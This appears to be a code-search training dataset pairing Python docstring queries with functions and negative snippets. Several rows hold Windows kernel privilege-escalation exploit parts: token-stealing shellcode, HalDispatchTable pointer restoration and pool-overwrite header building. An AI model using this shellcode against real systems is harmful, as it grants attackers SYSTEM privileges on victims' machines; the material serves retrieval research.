query
stringlengths
9
3.4k
document
stringlengths
9
87.4k
metadata
dict
negatives
listlengths
4
101
negative_scores
listlengths
4
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Calculate the previous size value for the pool header The PreviousSize value 8 = previous chunk
def calculate_previous_size(required_hole_size): return required_hole_size/8
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def prev_size(self):\n return self.state.memory.load(self.base, self._chunk_size_t_size) & ~CHUNK_FLAGS_MASK", "def pupil_size(self):\n\t\t\n\t\t# get newest pupil size\n\t\tps = self.eyetribe.pupil_size()\n\t\t\n\t\t# invalid data\n\t\tif ps == None:\n\t\t\treturn -1\n\t\t\n\t\t# check if the new pupil s...
[ "0.76720065", "0.6390554", "0.6259835", "0.62144953", "0.62106663", "0.6186286", "0.6185693", "0.61436164", "0.61312467", "0.60515755", "0.6026793", "0.58546066", "0.58413696", "0.58153194", "0.58138615", "0.5797905", "0.57794654", "0.5769273", "0.5755982", "0.57471156", "0.5...
0.71780765
1
This function will give us the data to be used for the pool overwrite
def pool_overwrite(required_hole_size,good_object): header = '' for i in range(len(pool_object_headers[good_object])): if i == 0: header += struct.pack("L",pool_object_headers[good_object][0] + calculate_previous_size(required_hole_size)) else: header += struct.pack("L",pool_object_headers[good_object][i]) ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getPoolData(self):\r\n # type: () -> (list[Data.Data])\r\n output = []\r\n # start from the beginning of the pool area\r\n ea = self.func_ea + self.getSize(withPool=False)\r\n while ea < self.getSize(withPool=True):\r\n # create and append the data item\r\n ...
[ "0.6841631", "0.6058198", "0.6002466", "0.5958599", "0.58922166", "0.58299726", "0.57790804", "0.5719163", "0.57011235", "0.5582456", "0.556702", "0.556273", "0.556273", "0.5558562", "0.5525691", "0.5512047", "0.55013883", "0.54900485", "0.5472099", "0.5465444", "0.5444461", ...
0.0
-1
Recreate CTL_CODE macro to generate driver IOCTL
def ctl_code(function, devicetype = FILE_DEVICE_UNKNOWN, access = FILE_ANY_ACCESS, method = METHOD_NEITHER): return ((devicetype << 16) | (access << 14) | (function << 2) | method)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mdlintf_ioctl(module_name: str, data: IOCTLData):\n\tmodule = get_module(module_name)\n\tif module is None:\n\t\treturn MODULE_IOCTL_RESULT_MODULE_NOT_FOUND\n\n\treturn module.ioctl(data)", "def _generate_os_code(self, name, version, bits, extra_info):\r\n name = name.replace(' Linux', '')\r\n ...
[ "0.55158716", "0.5302109", "0.52316815", "0.5207737", "0.51624715", "0.5111562", "0.5089443", "0.5063132", "0.4975058", "0.4945792", "0.49401814", "0.491681", "0.49117205", "0.4888804", "0.4862059", "0.48531878", "0.48450512", "0.4811114", "0.48106492", "0.48064867", "0.48057...
0.647903
0
Set various structure variables based on OS version
def setosvariablesx86(): KPROCESS = '' APLINKS = '' UPID = '' TOKEN = '' version = sys.getwindowsversion() if((version.major == 5) and (version.minor == 1) and ('3' in version.service_pack)): # the target machine's OS is Windows XP SP3 print "[*] OS version: Windows XP SP3" KPROCESS = '\x44' TOKEN = '\xC...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_os(self) -> None:\n if not self.os:\n self.os = OS(\n self.user_agent,\n self.ua_hash,\n self.ua_spaceless,\n self.VERSION_TRUNCATION,\n ).parse()\n self.all_details['os'] = self.os.ua_data", "def setosv...
[ "0.66082656", "0.6575465", "0.64928997", "0.6365373", "0.6159244", "0.61242115", "0.61157084", "0.60078466", "0.59862274", "0.59517145", "0.5934476", "0.58914936", "0.582137", "0.5801883", "0.5768141", "0.5689521", "0.5657106", "0.5643123", "0.5633719", "0.56275094", "0.56084...
0.6463058
3
Set various structure variables based on OS version
def setosvariablesx64(): KPROCESS = '' FLINK = '' UPID = '' TOKEN = '' version = sys.getwindowsversion() if((version.major == 5) and (version.minor == 2)): # the target machine's OS is Windows Server 2003 print "[*] OS version: Windows Server 2003" KPROCESS = '\x68' TOKEN = '\x60\x01' #0x160 UPID = '\x...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_os(self) -> None:\n if not self.os:\n self.os = OS(\n self.user_agent,\n self.ua_hash,\n self.ua_spaceless,\n self.VERSION_TRUNCATION,\n ).parse()\n self.all_details['os'] = self.os.ua_data", "def get_pl...
[ "0.660985", "0.6493364", "0.6464224", "0.6365165", "0.61576086", "0.61220306", "0.6116219", "0.60081536", "0.5985952", "0.59510773", "0.59318006", "0.5889762", "0.5821946", "0.58032054", "0.57683593", "0.5690011", "0.56563735", "0.56455976", "0.56320095", "0.5627637", "0.5608...
0.65764755
1
Retrun a shellcode to retore HalDispatchTable ptrs
def retore_hal_ptrs(HalDispatchTable,HaliQuerySystemInformation,HalpSetSystemInformation): if HaliQuerySystemInformation == 0x0 or HalpSetSystemInformation == 0x0: return "" else: shellcode = ( "\x31\xc0" "\xb8" + struct.pack("L", HalpSetSystemInformation) + "\xa3" + struct.pack("L", HalDispatchTable + 0x8)...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _ret_shellcode_buffer():\n\n shellcode = bytearray(\n #---[Debug]\n \"\\xCC\"\n #---[Setup]\n \"\\x60\" # pushad\n \"\\x64\\xA1\\x24\\x01\\x00\\x00\" \t # mov eax, fs:[KTHREAD_OFFSET]\n \"\\x8B\\x40\\x50\" # mov eax, [eax...
[ "0.60174304", "0.5950094", "0.56463164", "0.5519387", "0.5371425", "0.5347842", "0.5253339", "0.5197456", "0.516168", "0.5138188", "0.5085005", "0.5085005", "0.50311166", "0.4988512", "0.48932365", "0.48901132", "0.48380888", "0.48293492", "0.48163736", "0.48154366", "0.47775...
0.6675145
0
Retrun a token restore shellcode related to the platform
def restoretokenx86(RETVAL, extra = ""): (KPROCESS,APLINKS,UPID,TOKEN) = setosvariablesx86() shellcode = ( "\x52" "\x33\xc0" # xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # mov eax,DWORD PTR fs:[eax+0x124] "\x8b\x40" + KPROCESS + # mov eax,DWORD PTR [eax+_KPROCESS] "\x8b\x15\x00\x09\x02\x00" "\x...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def tokenstealingx64(RETVAL, extra = \"\"):\n\t(KPROCESS,FLINK,UPID,TOKEN) = setosvariablesx64()\n\tshellcode = (\n\t\"\\x65\\x48\\x8b\\x04\\x25\\x88\\x01\\x00\\x00\"\t\t# mov rax, [gs:0x188] ;Get current ETHREAD in\n\t\"\\x48\\x8b\\x40\" + KPROCESS +\t\t\t\t\t# mov rax, [rax+0x68] ;Get cur...
[ "0.6424091", "0.6397666", "0.6127926", "0.6111997", "0.6069528", "0.5585783", "0.5481146", "0.5443435", "0.54214656", "0.5419342", "0.5419342", "0.5419342", "0.5419342", "0.5402531", "0.53439623", "0.53102636", "0.5277562", "0.52706194", "0.52654016", "0.5255049", "0.5221615"...
0.7274014
0
Retrun a token stealing shellcode related to the platform
def tokenstealingx86(RETVAL, extra = ""): (KPROCESS,APLINKS,UPID,TOKEN) = setosvariablesx86() shellcode = ( "\x60" # pushad "\x33\xc0" # xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # mov eax,DWORD PTR fs:[eax+0x124] "\x8b\x40" + KPROCESS + # mov eax,DWORD PTR [eax+_KPROCESS] "\x8b\xc8" ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def tokenstealingx64(RETVAL, extra = \"\"):\n\t(KPROCESS,FLINK,UPID,TOKEN) = setosvariablesx64()\n\tshellcode = (\n\t\"\\x65\\x48\\x8b\\x04\\x25\\x88\\x01\\x00\\x00\"\t\t# mov rax, [gs:0x188] ;Get current ETHREAD in\n\t\"\\x48\\x8b\\x40\" + KPROCESS +\t\t\t\t\t# mov rax, [rax+0x68] ;Get cur...
[ "0.70278656", "0.650703", "0.6274305", "0.6186978", "0.6176795", "0.6083142", "0.6050683", "0.59221244", "0.5876762", "0.58669776", "0.5856236", "0.5835206", "0.5827853", "0.58036566", "0.5737415", "0.5736564", "0.5736564", "0.5728309", "0.57101184", "0.56970257", "0.5681948"...
0.7076698
0
Retrun a token stealing shellcode related to the platform
def tokenstealingx64(RETVAL, extra = ""): (KPROCESS,FLINK,UPID,TOKEN) = setosvariablesx64() shellcode = ( "\x65\x48\x8b\x04\x25\x88\x01\x00\x00" # mov rax, [gs:0x188] ;Get current ETHREAD in "\x48\x8b\x40" + KPROCESS + # mov rax, [rax+0x68] ;Get current KPROCESS address "\x48\x89\xc1" ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def tokenstealingx86(RETVAL, extra = \"\"):\n\t(KPROCESS,APLINKS,UPID,TOKEN) = setosvariablesx86()\n\tshellcode = (\n\t\"\\x60\"\t\t\t\t\t\t\t\t\t\t# pushad\n\t\"\\x33\\xc0\"\t\t\t\t\t\t\t\t\t# xor\teax,eax\n\t\"\\x64\\x8b\\x80\\x24\\x01\\x00\\x00\"\t\t\t\t# mov\teax,DWORD PTR fs:[eax+0x124]\n\t\"\\x8b\\x40\" + KP...
[ "0.7076445", "0.6507405", "0.6274373", "0.61903304", "0.61763257", "0.60805154", "0.60519487", "0.59225285", "0.58747536", "0.58657783", "0.5859614", "0.58332205", "0.5826598", "0.5803254", "0.5735543", "0.5734467", "0.5734467", "0.57258177", "0.5707536", "0.5696128", "0.5680...
0.70282006
1
Model of exponential decay function.
def expDecay(L, N0, tf): return N0*math.exp(-L*tf)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def exponential_decay(learning_rate, global_step, decay_steps, decay_rate,\n staircase=False, name=None):\n with ops.op_scope([learning_rate, global_step, decay_steps, decay_rate],\n name, \"ExponentialDecay\") as name:\n learning_rate = ops.convert_to_tensor(learning_rat...
[ "0.6832554", "0.67379606", "0.67308974", "0.6714549", "0.6664889", "0.6535269", "0.653406", "0.6519029", "0.6500991", "0.64686894", "0.6447907", "0.641695", "0.6412767", "0.6334116", "0.6318009", "0.63033646", "0.62913394", "0.6254709", "0.61977404", "0.6194034", "0.61581683"...
0.66765904
4
Converts array of halflives to array of decay constants.
def decayConst(hL): k = [math.log(2)/hL[i] for i in range(0, len(hL)) if (int(hL[i])!=0)] return k
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def changeArray(array):\r\n\r\n return [[float(array[j][i]) for j in range(len(array))] for i in range(len(array[0]))]", "def conv_array(n):\n\n\t# Allocate kernel\n\tconv = np.zeros(n)\n\n\t# Give values to elements\n\tfor i in range(0,n-1):\n\t\tconv[i] = 1/n\n\n\treturn conv", "def _stride_arr(self, stri...
[ "0.52368975", "0.51411587", "0.51252437", "0.50270367", "0.5003192", "0.49911326", "0.49478933", "0.48715317", "0.4856025", "0.48467267", "0.48451278", "0.4828167", "0.47892886", "0.47842053", "0.47678065", "0.47670722", "0.47491083", "0.47386333", "0.47329977", "0.4726698", ...
0.5058661
3
Determine if the transaction(t) belongs to trade(tr) without altering the tr
def tranBelong(tr, lst, t): if tr.isReal(): cp = Trade() cp.state = tr.state cp.addTrans(tr.tranCol+lst, False) else: cp = tr return cp.belong(t)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_transaction(self):\n return self._request.has_var(\"_transid\")", "def _check_duplicate_trans(self):\n transactions_set = set(self._transactions)\n return len(transactions_set) == len(self._transactions)", "def is_transaction(self) -> bool:\n return False", "def isTx(self):...
[ "0.63742304", "0.6370735", "0.6219345", "0.60635024", "0.601319", "0.5980037", "0.5893599", "0.58903027", "0.5867999", "0.5838565", "0.57914907", "0.5791342", "0.5782304", "0.5757709", "0.5725929", "0.5687621", "0.56499726", "0.56397974", "0.5625594", "0.56239665", "0.5596403...
0.69847286
0
Go through unattached transactions and propose how to attach them to existing and new trades. Each proposal can add transactions to an Open trade, or open a new trade
def groupSingles(self): #todo: last transaction is lost group = [] singles = self.unAttachedTrans(None) propTrade = self.proposeTrade(group) propTrade.symbol = singles[0].symbol itr = 0 openTrades = self.getOpenTrades(None) if openTrades: openT...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def announce_new_transaction(tx_data):\n for peer in peers:\n url = \"{}/add_received_transaction\".format(peer)\n headers = {'Content-Type': \"application/json\"}\n requests.post(url,\n data=json.dumps(tx_data),\n headers=headers)", "def get_trac...
[ "0.6040073", "0.57628083", "0.57323754", "0.57092947", "0.56631356", "0.5621709", "0.5600126", "0.5590153", "0.5551622", "0.5519956", "0.55015785", "0.54956853", "0.540351", "0.5351035", "0.53349996", "0.5323784", "0.5310932", "0.5270009", "0.5264842", "0.52406645", "0.523995...
0.54227585
12
Collect all existing trades and transactions for the Symbol within a the time period
def groupSymbol(self, sym, fr, to): trades = self.getter.getTrades(self.account, sym, state=None, fr=fr, to=to, order='dt_open') trans = self.unAttachedTrans(sym) return trades, trans
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def trades_for(self, symbol, from_id=None, timestamp=None, limit=None):\n\t\tif self._session:\n\t\t\tdata = {'symbol': symbol}\n\n\t\t\tif from_id:\n\t\t\t\tdata['fromId'] = from_id\n\n\t\t\tif timestamp:\n\t\t\t\tdata['startTime'] = int(timestamp * 1000.0)\n\n\t\t\tif limit:\n\t\t\t\tdata['limit'] = limit\n\n\t\...
[ "0.66767967", "0.63662535", "0.6251412", "0.6247674", "0.6212712", "0.6148253", "0.6133261", "0.60391545", "0.603678", "0.59483355", "0.59483355", "0.592318", "0.5838333", "0.57910395", "0.57791406", "0.5762533", "0.5753142", "0.57496476", "0.5729317", "0.5676667", "0.5657069...
0.57612145
16
Return socket event type.
def get_type(self) -> TypeStr: return TYPE.inverse[self.type()]
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def SocketType(self) -> SocketType:", "def type(self):\n return self.sock.type", "def event_type(self) -> int:\n return self.data[\"args\"][\"eventType\"]", "def _get_event_type(event):\n return event.type()", "def _get_event_type(event):\n return event.type()", "def get_type(...
[ "0.77882296", "0.7754027", "0.74643916", "0.74555075", "0.74555075", "0.7195131", "0.7104133", "0.6805766", "0.67615324", "0.64086574", "0.64028686", "0.6331013", "0.6238323", "0.6233812", "0.61798525", "0.617494", "0.6114688", "0.59880745", "0.59195054", "0.59040755", "0.589...
0.0
-1
Solve linear system Ax = b with A matrix in filename and b = (0, 1, 2, 3, ...) using the specified method
def solve_system(A, method): # find b vector such that Ax = b # with x = [0 1 2 ... size(m)] size = A.shape true_x = list(xrange(0, size[1])) b = A.dot(true_x) # solve Ax = b and check solution error # diretti if method in [sla.spsolve, direttolu]: x = method(A, b) print...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def Solver(line1, line2):\n\ta = np.array(line1[0])\n\tb = np.array(line1[1])\n\tu = np.array(line2[0])\n\tv = np.array(line2[1])\n\t#print(a,b,u,v)\n\tc = u[:2]-a[:2]\n\tA = np.vstack((b[:2],-v[:2])).T\n\t#print(A)\n\tx = np.linalg.solve(A,c)\n\t#print(x)\n\tp = a+x[0]*b\n\t#print(p)\n\treturn p", "def solve(ct...
[ "0.5931735", "0.56649315", "0.54215354", "0.5396154", "0.53851146", "0.53457224", "0.53208566", "0.53011686", "0.5298094", "0.52892774", "0.52748114", "0.52657866", "0.5221529", "0.5201853", "0.51484877", "0.5136199", "0.51290214", "0.51139814", "0.50912726", "0.508557", "0.5...
0.63691556
0
adds a command to the system crontab to download the mta data.
def add_cron_job(nondated_url, curr_date): user = os.environ.get('USER', '') if user == '': usage("no USER env var set.") api_key = os.environ.get('MTA_API_KEY', '') if api_key == '': usage("no MTA_API_KEY env var set. Please add `export MTA_API_KEY=<KEY>` to .bashrc/.zshrc and try again...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cli(date, path, mission):\n download.main(path, mission, date)", "def add_daily(name, user, command, environment=None):\n add_task(name, '@daily', user, command, environment)", "def update_crontab(new_crontab):\n subprocess.run([\"crontab\", \"-\"], check=True, capture_output=True, text=True, inpu...
[ "0.6217518", "0.5839289", "0.5613374", "0.56113803", "0.5583703", "0.5540043", "0.53430545", "0.5286042", "0.52517474", "0.51973224", "0.5182088", "0.5155778", "0.5139559", "0.5131635", "0.5130064", "0.50975126", "0.50848424", "0.50634307", "0.5028002", "0.49883255", "0.49630...
0.63708776
0
Returns the complete url prefixed with BASE_URL
def getCompleteUrl(urlPath: str) -> str: return os.path.join(BASE_URL, urlPath) if urlPath else BASE_URL
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _get_base_url(self):\n return '/{}/'.format(self.name.replace('__', '/'))", "def get_short_url_base():", "def get_full_url(self, part_url):\n return BASE_URL + part_url", "def get_url(self) -> str:\n return urljoin(self._base_url, self.url)", "def base_url_path(self):\n path = u...
[ "0.8176765", "0.79714805", "0.7950853", "0.79370195", "0.7921771", "0.7893179", "0.78764766", "0.7809534", "0.7752096", "0.7734094", "0.7726702", "0.7700378", "0.76876515", "0.7635664", "0.760441", "0.75209475", "0.74629545", "0.74607867", "0.74460286", "0.741311", "0.7393556...
0.7650964
13
Saves html in specified filename in given path
def saveHtml(path: str, filename: str, html: str) -> None: filepath = os.path.join(path, filename) with open(filepath, "w") as fileHandle: fileHandle.write(html) return filepath
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def save(self, filename):\n outfile = open(filename, \"w\")\n outfile.write(self.html.encode('utf8'))\n outfile.close()", "def make_backup(filename, html):\n\n with open(filename, 'wb') as f:\n f.write(html)", "def htmlSaveFile(self, filename):\n ret = libxml2mod.htmlSaveF...
[ "0.787979", "0.7703456", "0.769332", "0.76318324", "0.7469195", "0.7466598", "0.73435193", "0.7313832", "0.7297087", "0.72894686", "0.726079", "0.7140499", "0.6979866", "0.69742167", "0.6938493", "0.6927359", "0.6867596", "0.67674464", "0.6729367", "0.66805", "0.658196", "0...
0.8745617
0
Extracts hyperlink from more anchor tag
def getPaginationHyperlink(html: str) -> str: moreLinkPattern = r'\<tr class="morespace".*?\<a\shref="(?P<hyperlink>.+?)"\sclass="morelink"' morelinkCompiledRegex = re.compile(moreLinkPattern, flags=re.IGNORECASE | re.DOTALL) matchedRegex = morelinkCompiledRegex.search(html) if matchedRegex: hyp...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def extract_next_page(parser):\n more = parser.find('a', class_='morelink')\n return more['href']", "def extract_next_page(parser):\n link = parser.find(\"a\", class_=\"morelink\")[\"href\"]\n return str(link)", "def _parse_links(self, response):\n links = []\n link_els = response.xpa...
[ "0.7142194", "0.6892841", "0.6824566", "0.66558737", "0.65821356", "0.6506589", "0.64602387", "0.62871546", "0.6197151", "0.61179537", "0.61167383", "0.6051518", "0.60359395", "0.6032119", "0.60204184", "0.60023904", "0.6000569", "0.5965327", "0.5958277", "0.595405", "0.59110...
0.74561816
0
Paginates accross different pages
def paginate(html: str) -> str: hyperlink = getPaginationHyperlink(html) return downloadHtml(hyperlink)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def paginated(self) -> global___Snippet.Paginated:", "def add_paging(self):\n self.paged = True", "def test_pagination(self):\n for page in range(1, 5):\n self._test_one_page(page=page)", "def test_pagination(self):\n self.check_pagination()", "def get_overview_pages(self):\...
[ "0.72573984", "0.7165227", "0.7089033", "0.7032152", "0.6719618", "0.66776913", "0.6662378", "0.66613525", "0.66463643", "0.6607017", "0.6602033", "0.6602033", "0.65797585", "0.65740895", "0.657041", "0.65622044", "0.6561306", "0.6557244", "0.65453", "0.6543582", "0.65118647"...
0.0
-1
Retrieve a list of project files, ignoring hidden files.
def get_project_files(): if is_git_project() and has_git(): return get_git_project_files() project_files = [] for top, subdirs, files in os.walk('.'): for subdir in subdirs: if subdir.startswith('.'): subdirs.remove(subdir) for f in files: if...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def project_files(self):\n if not self._project_files:\n self._project_file_blobs()\n return self._project_files", "def list_projects():\n if '.wcscanner' not in os.listdir(context.__BASE_PATH__):\n return []\n return os.listdir(context.__PROJECTS_PATH__)", "def get_projec...
[ "0.7479587", "0.7429841", "0.71568465", "0.7010306", "0.6886862", "0.68825954", "0.6873422", "0.6868068", "0.6837338", "0.67456985", "0.6662757", "0.66530734", "0.653745", "0.65363514", "0.65334976", "0.6516856", "0.65151477", "0.64454865", "0.63947666", "0.6393199", "0.63518...
0.74169856
2
Retrieve a list of all nonignored files, including untracked files, excluding deleted files.
def get_git_project_files(): cached_and_untracked_files = git_ls_files( '--cached', # All files cached in the index '--others', # Untracked files # Exclude untracked files that would be excluded by .gitignore, etc. '--exclude-standard') uncommitted_deleted_files = git_ls_files(...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def retrieve_untracked_files(self):\n untracked_files = set(self.retrieve_all_files()) \\\n - set(self.retrieve_tracked_files())\n\n return untracked_files", "def untracked_files():\n res = run(\n \"cd %s ; git status\" % (SOURCE_ABSOLUTE),\n stdout=PIPE, stderr=PIPE,\n ...
[ "0.7845568", "0.7812254", "0.77045214", "0.73962283", "0.7363428", "0.7302657", "0.7254765", "0.7217443", "0.70587367", "0.69560546", "0.6850955", "0.6825047", "0.6698035", "0.66879463", "0.66263133", "0.6596644", "0.65811634", "0.6567983", "0.6562467", "0.6524902", "0.652490...
0.6220324
37
Run ``git lsfiles`` in the toplevel project directory. Arguments go directly to execution call.
def git_ls_files(*cmd_args): cmd = ['git', 'ls-files'] cmd.extend(cmd_args) return set(subprocess.check_output(cmd).splitlines())
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def git_ls_files():\n\tproc = subprocess.Popen(\n\t\t['git', 'ls-files'],\n\t\tstdin=subprocess.DEVNULL,\n\t\tstdout=subprocess.PIPE,\n\t\tstderr=None\n\t)\n\t(stdout, stderr) = proc.communicate()\n\tif proc.returncode != 0:\n\t\traise OSError(\"Cannot list version-controlled files\")\n\tfilenames = stdout.decode(...
[ "0.7529486", "0.6684709", "0.66222614", "0.6546617", "0.63417643", "0.63115054", "0.62302166", "0.61532456", "0.61515826", "0.60766083", "0.60619664", "0.60407776", "0.6007652", "0.5975857", "0.59522355", "0.58336353", "0.5823643", "0.5823149", "0.58227754", "0.5755018", "0.5...
0.7539438
0
Print a message indicating success in green color to STDOUT.
def print_success_message(message): try: import colorama print(colorama.Fore.GREEN + message + colorama.Fore.RESET) except ImportError: print(message)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print_success(msg):\n colour.cprint(msg, 'success')\n sys.stdout.flush()", "def success(self, message=''):\n print(colored(message, 'green'))", "def success():\n sys.stdout.write('%s[ pass ]%s\\n' % (colors.GREEN, colors.RESET))", "def print_success_msg(msg):\n click.secho(msg, fg='gre...
[ "0.8873401", "0.8641604", "0.8481104", "0.84372455", "0.83063567", "0.827378", "0.81264156", "0.79893744", "0.79643387", "0.7839793", "0.7394122", "0.7389796", "0.7330891", "0.7287436", "0.71680915", "0.71622825", "0.71509063", "0.7089451", "0.7084001", "0.7039495", "0.693624...
0.8362468
4
Print a message indicating failure in red color to STDERR.
def print_failure_message(message): try: import colorama print(colorama.Fore.RED + message + colorama.Fore.RESET, file=sys.stderr) except ImportError: print(message, file=sys.stderr)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def err(msg):\n print(colored.red(\"[ERROR]: {0}\".format(msg)))", "def print_error(message: str):\n print_with_color(message, constant.Color.FAIL)", "def print_failure_msg(msg):\n click.secho(msg, fg='red', file=sys.stderr)", "def failure(self, message=''):\n print(colored(message, 'red'))",...
[ "0.8139798", "0.7891391", "0.7861315", "0.7850614", "0.7619812", "0.7606152", "0.760484", "0.75479156", "0.75395614", "0.74183655", "0.7407587", "0.73441464", "0.72732544", "0.72718126", "0.7205987", "0.71278733", "0.71020126", "0.706107", "0.7059658", "0.696329", "0.6958461"...
0.8332692
0
Return the contents of a file.
def read(filename): with open(os.path.join(os.path.dirname(__file__), filename)) as f: return f.read()
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def contents(file):\n with open(file) as f:\n return f.read()", "def get_file_contents(filename):\n with open(filename, 'r') as f:\n content = f.read()\n return content", "def read_file(filename):\n f = open(filename)\n contents = f.read()\n f.close()\n return contents", "d...
[ "0.8558167", "0.8240941", "0.78987557", "0.7857246", "0.7753984", "0.7748734", "0.76279366", "0.7623045", "0.76068085", "0.75853497", "0.758249", "0.7531695", "0.75296754", "0.75140697", "0.75037205", "0.75010616", "0.7490217", "0.7469424", "0.746174", "0.7447222", "0.7438907...
0.68760204
80
Add support for custom object type like datetime
def msgpack_packb(value): return msgpack.packb(value, default=pseud_encode, use_bin_type=True)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def serialize_datetime(self, obj):\r\n if isinstance(obj, datetime.datetime):\r\n return obj.isoformat()\r\n raise TypeError(\"Type not serializable\")", "def json_serialize_datetime(self, obj):\n if isinstance(obj, datetime.datetime):\n return int(time.mktime(obj.timet...
[ "0.6849711", "0.677281", "0.67111045", "0.654753", "0.6521231", "0.6508201", "0.6477546", "0.64625996", "0.6386962", "0.63424236", "0.6291334", "0.6291334", "0.62899774", "0.62785524", "0.6166606", "0.61538106", "0.6151936", "0.6145599", "0.61279994", "0.6094315", "0.6092885"...
0.0
-1
Use custom deserializer to handle objects such as datetime
def msgpack_unpackb(value): return msgpack.unpackb(value, object_hook=pseud_decode, encoding='utf-8')
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def object_deserializer(obj):\n for key, val in obj.items():\n if isinstance(val, six.string_types) and DATETIME_REGEX.search(val):\n try:\n obj[key] = dates.localize_datetime(parser.parse(val))\n except ValueError:\n obj[key] = val\n return obj", ...
[ "0.7911031", "0.733724", "0.72558117", "0.6870197", "0.6774763", "0.6747147", "0.6714754", "0.66390264", "0.66278994", "0.66108054", "0.6609147", "0.658908", "0.6512032", "0.65117866", "0.64976084", "0.6465169", "0.6451297", "0.6416034", "0.6313417", "0.63051635", "0.6258937"...
0.0
-1
Returns the Kernel version, Build number, Name and Version information for given NSX edge NSXEdge>show version
def get_os_info(cls, client_object, **kwargs): endpoint = "show version " PARSER = "raw/showEdgeVersion" EXPECT_PROMPT = ['bytes*', 'NSXEdge>'] # Get the parsed data mapped_pydict = utilities.get_mapped_pydict_for_expect( client_object.connection, endpoint, PARSER, ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_version(self):\n verxml = self._ncc.nxoscli('show version')\n self.logger.debug(verxml)\n verparsed = _begin_parse(verxml)\n sysmgrclischema = parse_get_nsmap(verparsed)\n self.logger.debug(\"NSMAP: {}\".format(sysmgrclischema))\n showversion = find_element(['sys_v...
[ "0.6694532", "0.61063725", "0.59893906", "0.58265644", "0.581532", "0.581229", "0.56937516", "0.56883925", "0.5680113", "0.56638014", "0.5618403", "0.5599922", "0.55912185", "0.55906004", "0.55780494", "0.5560827", "0.5550261", "0.5543873", "0.55412424", "0.5535596", "0.55161...
0.7000498
0
Returns True the License Agreement information gets displayed for given NSX edge; else returns False
def get_license_string(cls, client_object, **kwargs): ssh_string = ('ssh -o UserKnownHostsFile=/dev/null -o ' 'StrictHostKeyChecking=no %s@%s' % (client_object.username, client_object.ip)) client_object.pexpectconn = pexpect.spawn(ssh_string) client_o...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show_licence(namespace):\n print(dedent(GSEA.legal_disclaimer))", "def has_license(poa_article):\n if not poa_article.license:\n return False\n if not poa_article.license.href:\n return False\n return True", "def isLicensed(self):\n return True #arcpy.CheckExtension(\"3...
[ "0.5896515", "0.58739436", "0.5800745", "0.57248664", "0.57248664", "0.57248664", "0.57248664", "0.57248664", "0.57248664", "0.57248664", "0.57248664", "0.5711135", "0.5694468", "0.5694468", "0.5694468", "0.5694468", "0.5694468", "0.5694468", "0.5694468", "0.5694468", "0.5694...
0.0
-1
Logs in to given NSX edge in configure terminal mode and fetch the list of all supported commands. Returns the list of commands in a pyset object. Refer /VDNetLib/TestData/Edge/list_command_configure_mode for output format
def get_all_supported_commands_configure_mode(cls, client_object, **kwargs): pydict = dict() try: if "password" in kwargs: pwd = kwargs["password"] pylogger.info("trying to create an expect connection " ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_all_supported_commands_enable_mode(\n cls, client_object, **kwargs):\n pydict = dict()\n\n try:\n if \"password\" in kwargs:\n password = kwargs[\"password\"]\n pylogger.info(\"trying to create an expect connection \"\n ...
[ "0.6511725", "0.63629586", "0.62398857", "0.61768675", "0.6060961", "0.60467505", "0.60360336", "0.6015906", "0.60068876", "0.59958434", "0.59946626", "0.59913915", "0.597592", "0.5959561", "0.5952795", "0.5924984", "0.58672166", "0.5802978", "0.57971066", "0.5770296", "0.576...
0.7366051
0
